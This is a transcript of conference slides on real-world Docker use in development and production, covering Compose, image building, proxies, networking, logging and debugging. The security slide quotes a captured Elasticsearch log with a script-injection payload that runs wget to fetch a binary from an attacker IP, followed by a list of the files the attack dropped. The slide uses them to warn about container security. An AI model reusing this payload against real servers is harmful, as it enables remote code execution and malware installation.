real world experience of running docker in development and production
TRANSCRIPT
Real World Experiences of RunningDocker in Development and Production
OcelotUproar.com / Katacoda.com
@Ben_Hall / Blog.BenHall.me.uk
Tech Support > Tester > Developer > Founder
Software Development Studio
WH
O AM
I?
Agenda
• Continuous Integration and Development• Orchestration • Security• Logging and Monitoring• Debugging• Scaling
Beyond the hype. How do containers work in the real world?
doger.io
https://www.docker.com/whatisdocker/
Container
Own Process SpaceOwn Network InterfaceOwn Root Directories
Sandboxed
Like a lightweight VM. But it’s not a VM.
Container
Native CPUNative Memory
Native IO
No Pre-AllocationNo Performance Overheard
Container
Milliseconds to launch
Still fully isolated
Docker - An open platform for distributed applications for developers and sysadmins.
Got us to agree on something!
Batteries included but removable
Continuous Integration and Development
Everything is a container
New Starters
Node, Golang, Postgres and Redis
Katacoda
> docker run –p 6379:6379 redis _.-``__ ''-._ _.-`` `. `_. ''-._ Redis 3.0.3 (00000000/0) 64 bit .-`` .-```. ```\/ _.,_ ''-._ ( ' , .-` | `, ) Running in standalone mode |`-._`-...-` __...-.``-._|'` _.-'| Port: 6379 | `-._ `._ / _.-' | PID: 1 `-._ `-._ `-./ _.-' _.-' |`-._`-._ `-.__.-' _.-'_.-'| | `-._`-._ _.-'_.-' | http://redis.io `-._ `-._`-.__.-'_.-' _.-' |`-._`-._ `-.__.-' _.-'_.-'| | `-._`-._ _.-'_.-' | `-._ `-._`-.__.-'_.-' _.-' `-._ `-.__.-' _.-' `-._ _.-' `-.__.-'
1:M 05 Nov 10:42:24.402 # Server started, Redis version 3.0.31:M 05 Nov 10:42:24.402 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.1:M 05 Nov 10:42:24.402 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix this issue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted after THP is disabled.1:M 05 Nov 10:42:24.403 # WARNING: The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128.1:M 05 Nov 10:42:24.403 * The server is now ready to accept connections on port 6379
> docker run --name db -d postgres> docker logs dbThe files belonging to this database system will be owned by user "postgres".This user must also own the server process.
The database cluster will be initialized with locale "en_US.utf8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".
Data page checksums are disabled.
fixing permissions on existing directory /var/lib/postgresql/data ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okcreating template1 database in /var/lib/postgresql/data/base/1 ... okinitializing pg_authid ... ok
Docker Compose
> cat docker-compose-dev.yml
redis: image: redis:2.8.21 ports: - 6379:6379 restart: alwaysdb: build: pg-schema # Includes Schema and migrations ports: - 5432:5432 environment: POSTGRES_PASSWORD: 'mysecretpassword' restart: always > docker-compose –f docker-compose-dev.yml up –d
Node.js> docker run -it --rm
-w /usr/app -v $(pwd):/usr/app -v $(pwd)/d_node_modules:/usr/app/node_modules -p 3000:3000
node:0.10.38bash
RStudio
> docker run -d -p 8787:8787 rocker/rstudio
> docker run --name=selenium --privileged -p 4444:4444 -p 5999:5999 -d vvoyer/docker-selenium-firefox-chrome
> cat load-test.jsfunction detectBrowser(name) { wd.remote({ host: 'b2d', desiredCapabilities: { browserName: name } }) .init() .url('http://www.whatismybrowser.com/') .getText('.string-major', function(err, text) { console.log(name + 'browser was detected as ' + text); }) .end();}
['chrome', 'firefox'].forEach(detectBrowser);
https://github.com/BenHall/docker-selenium-example
Building Images
> cat DockerfileFROM node:0.10.38
RUN mkdir -p /usr/src/appWORKDIR /usr/src/app
COPY . /usr/src/appRUN npm install
CMD [ "npm", "start" ]
> docker build –t nodeapp .
> docker run –d –p 3000 nodeapp
Order Matters
> cat DockerfileFROM node:0.10.38
RUN mkdir -p /usr/src/appWORKDIR /usr/src/app
COPY package.json /usr/src/app/RUN npm installCOPY . /usr/src/app
CMD [ "npm", "start" ]
> cat Dockerfile-onbuildFROM node:0.10.38
RUN mkdir -p /usr/src/appWORKDIR /usr/src/app
ONBUILD COPY package.json /usr/src/app/ONBUILD RUN npm installONBUILD COPY . /usr/src/app
CMD [ "npm", "start" ]
> cat DockerfileFROM node:0.10.38-onbuildEXPOSE 3000
Size Matters
> cat DockerfileFROM ocelotuproar/alphine-node:4.2.1-onbuildEXPOSE 3000
> curl https://raw.githubusercontent.com/OcelotUproar/alphine-node/master/DockerfileFROM alpine:3.2# Thanks to https://github.com/mhart/alpine-node
ENV VERSION=v4.2.1
RUN apk add --update curl make gcc g++ python linux-headers paxctl libgcc libstdc++ && \ curl -sSL https://nodejs.org/dist/${VERSION}/node-${VERSION}.tar.gz | tar -xz && \ cd /node-${VERSION} && \ ./configure --prefix=/usr && \ make -j$(grep -c ^processor /proc/cpuinfo 2>/dev/null || 1) && \ make install && \ paxctl -cm /usr/bin/node && \ cd / && \ npm install -g npm@2 && \ find /usr/lib/node_modules/npm -name test -o -name .bin -type d | xargs rm -rf; \ apk del curl make gcc g++ python linux-headers paxctl && \ rm -rf /etc/ssl /node-${VERSION} \ /usr/share/man /tmp/* /var/cache/apk/* /root/.npm /root/.node-gyp \ /usr/lib/node_modules/npm/man /usr/lib/node_modules/npm/doc /usr/lib/node_modules/npm/html
> docker images scrapbook/redis-node-docker-example 703.3 MB node:0.10.38-onbuild 702.9 MB
> docker images scrapbook/redis-node-docker-example 35.4 MB ocelotuproar/alphine-node:4.2-onbuild 35.02 MB
Go Lang Development Environment
> docker run -it --rm -w /go/src/github.com/myapp-v
$(pwd)/vendor/github.com/:/go/src/github.com/-v $(pwd):/go/src/github.com/myapp golang:1.4bash
> cat MakeFilebuild-dev copy build-release:
echo ”Building Release Image"
build-dev:docker build –f Dockerfile-dev –t warden-
dev .
copy:docker create --name tmp warden-dev docker cp tmp:/go/bin/app $(shell
pwd)/appdocker rm tmp
build-release:docker build –t ocelotuproar/warden
> cat Dockerfile-devFROM golang:latestRUN mkdir /appADD . /app/WORKDIR /appRUN CGO_ENABLED=0 GOOS=linux go build -a -installsuffix cgo -o main .CMD ["/app/main”]EXPOSE 80
> cat DockerfileFROM scratchEXPOSE 80COPY app /CMD ["/app"]
> docker imagesscrapbook/docker-http-server 528.9 MBgolang:latest 517.3 MB
> docker imagesscrapbook/docker-http-server 5.812 MB
CI becomes very simple
Exit Codes
Private Registry
Like hub.docker.com Just a container
Docker in Production
Containers can’t fix broken architectures.
But they can help…
Production isn’t special
Just another environment
ImmutableDisposable Container Pattern
Persisting Data> docker run –v <host-dir>:<container-dir> image
-v /opt/docker/elasticsearch:/data
-v /opt/docker/mysql:/var/lib/mysql
-v /docker/scrapbook/uploads:/app/public/uploads
-v $(PWD):/host
-v /var/log/syslog:/var/log/syslog
Docker Compose
> docker-compose up -d> cat docker-compose.yml
web: image: ocelotuproar/katacoda volumes: - /opt/projects/katacoda/data:/usr/src/app/data - /opt/docker/katacoda/db:/usr/src/app/ocelite-db - /var/run/docker.sock:/var/run/docker.sock ports: - 3000 environment: VIRTUAL_HOST: 'katacoda.com,*.katacoda.com' NODE_ENV: 'production’ restart: always
// Production version of docker-compose-dev.yml
> docker-compose up # Start containers–d # In background
Recreating katacoda_nginx_1...Recreating katacoda_redis_1...Recreating katacoda_db_1...Recreating katacoda_elasticsearch_1...Recreating katacoda_web_1…
> docker-compose stop # Stop containersStopping katacoda_web_1...Stopping katacoda_elasticsearch_1...Stopping katacoda_db_1...Stopping katacoda_redis_1...Stopping katacoda_nginx_1...
Sidekick Containers for backup
Pushes to DropboxCost effective
Auto Discovery is key to a good container architecture
Docker Events
Problem: Port 80
Problematic Approach
> docker run -d --name nginx_root --link blog_benhall-1:blog_benhall-1 --link katacoda-1:katacoda-1 --link scrapbook_web_1:scrapbook_web_1 --link brownbag_web_1:brownbag_web_1 -p 80:80 -v /opt/docker/nginx/www:/data -v /opt/docker/nginx/sites:/etc/nginx/sites-enabled -v /opt/docker/nginx/logs:/var/log/nginx nginx
Nginx Proxyhttps://github.com/jwilder/nginx-proxy
https://www.dropbox.com/s/2f6y2frfjafc409/nginx-proxy-optimised.gif?dl=0
• -v /var/run/docker.sock:/tmp/docker.sock
• VIRTUAL_HOST=my.container.com
Problem: Zero Downtime
Rolling Updates Node.js
> docker run –e VIRTUAL_HOST=myapp myapp:v2.0
// Make some changes
> docker build –t myapp:v2.1
> docker run –e VIRTUAL_HOST=myapp myapp:v2.1
// Load Balanced
> docker stop <container for myapp:v2.0>
Not Great.
Problem: Scaling Node.js
Using Nginx Proxy to scale Node.js
> docker-compose scale web=5
Problem: Multiple Docker Hosts
Software Defined Network
Weave> weave launch
> docker run –name ws web-server
// second host
> weave launch <host-01 ip>
> docker run --name ws -d -p 80:80 \ scrapbook/docker-http-server
> docker run ubuntu ping -c1 wsping ws.weave.local (10.0.0.1)
Weave DNS> docker run --name ws -d -p 80:80 \ scrapbook/docker-http-server> docker run --name ws -d -p 80:80 \ scrapbook/docker-http-server> docker run --name ws -d -p 80:80 \ scrapbook/docker-http-server
> docker run ubuntu ping -c1 wsping ws.weave.local (10.0.0.1)> docker run ubuntu ping -c1 wsping ws.weave.local (10.0.0.2)> docker run ubuntu ping -c1 wsping ws.weave.local (10.0.0.3)
Auto Discovery allows you to dynamically adapt your infrastructure
> docker run -d --name nginx -p 80:80 --link blog_benhall:wordpress
nginx-wordpress-example
Nginx Wordpressblog_benhall
> docker run -d –name varnish --link blog_benhall:websiteBeingCached benhall/docker-varnish
NginxVarnish
blog_benhall_varnish
Wordpressblog_benhall
> docker run -d --name nginx -p 80:80 --link varnish:wordpress
nginx-wordpress-example
Common Question: Is it secure?
Hosting provider becomes unhappy
org.elasticsearch.search.SearchParseException: [index][3]: query[ConstantScore(*:*)],from[-1],size[1]: Parse Failure [Failed to parse source [{"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"script_fields":{"exp":{"script":"import java.util.*;\nimport java.io.*;\nString str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xdvi http://<IP Address>:9985/xdvi\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();"}}}]]
http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/
C /binC /bin/netstatC /bin/psC /bin/ssC /etcC /etc/init.dA /etc/init.d/DbSecuritySptA /etc/init.d/selinuxC /etc/rc1.dA /etc/rc1.d/S97DbSecuritySptA /etc/rc1.d/S99selinuxC /etc/rc2.dA /etc/rc2.d/S97DbSecuritySptA /etc/rc2.d/S99selinuxC /etc/rc3.dA /etc/rc3.d/S97DbSecuritySptA /etc/rc3.d/S99selinuxC /etc/rc4.dA /etc/rc4.d/S97DbSecuritySptA /etc/rc4.d/S99selinuxC /etc/rc5.d
http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/
A /etc/rc5.d/S97DbSecuritySptA /etc/rc5.d/S99selinuxC /etc/sshA /etc/ssh/bfgffaA /os6A /safe64C /tmpA /tmp/.Mm2A /tmp/64A /tmp/6SxxA /tmp/6UbbA /tmp/DDos99A /tmp/cmd.nA /tmp/conf.nA /tmp/ddos8A /tmp/dp25A /tmp/frccA /tmp/gates.lodA /tmp/hkddosA /tmp/hsperfdata_rootA /tmp/linux32
A /tmp/linux64A /tmp/managerA /tmp/moni.lodA /tmp/nbA /tmp/o32A /tmp/obaA /tmp/okmlA /tmp/oniA /tmp/yn25C /usrC /usr/binA /usr/bin/.sshdA /usr/bin/dpkgdA /usr/bin/dpkgd/netstatA /usr/bin/dpkgd/psA /usr/bin/dpkgd/ss
Only as secure as the contents running in the container
Logging and Monitoring
All Stdout and StdErr logged
Logs fill disks
Docker Logging Options> docker run --log-driver=syslog redis> docker run --log-driver=none redis> docker run --log-driver=json-file \ --log-opt="" \ redis
--log-opt max-size=[0-9+][k|m|g]--log-opt max-file=[0-9+]
--log-opt max-size=50m--log-opt max-file=100
ELK + LogSpout
> docker run -d \ -p 8000:8000 \ -v /var/run/docker.sock:/tmp/docker.sock \ --name logspout \ gliderlabs/logspout:master syslog://192.168.99.100:5000
https://github.com/benhall/docker-elk
> docker run -d --restart=always # Restart if exits non-zero
redis
Health Endpoints
Debugging
> docker exec –it <container-name> bash
> docker exec -it scrapbookv2prototype_nginx_1 \ cat /etc/nginx/conf.d/default.confupstream katacoda.com {
server 172.17.0.30:3000;}server {
server_name katacoda.com;listen 80 ;access_log /var/log/nginx/access.log vhost;location / {
proxy_pass http://katacoda.com;proxy_set_header Upgrade $http_upgrade;proxy_set_header Connection "upgrade";proxy_set_header X-Forwarded-For
$proxy_add_x_forwarded_for;proxy_set_header Host $host;proxy_http_version 1.1;
}}
> docker run –it --name sysdig --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro sysdig/sysdig
Scaling
Summary
• Batteries included but removable
• Containers are a new way of thinking, embrace and extend
• New tools and approaches to solving problems
• Don’t corrupt your host. Everything as a container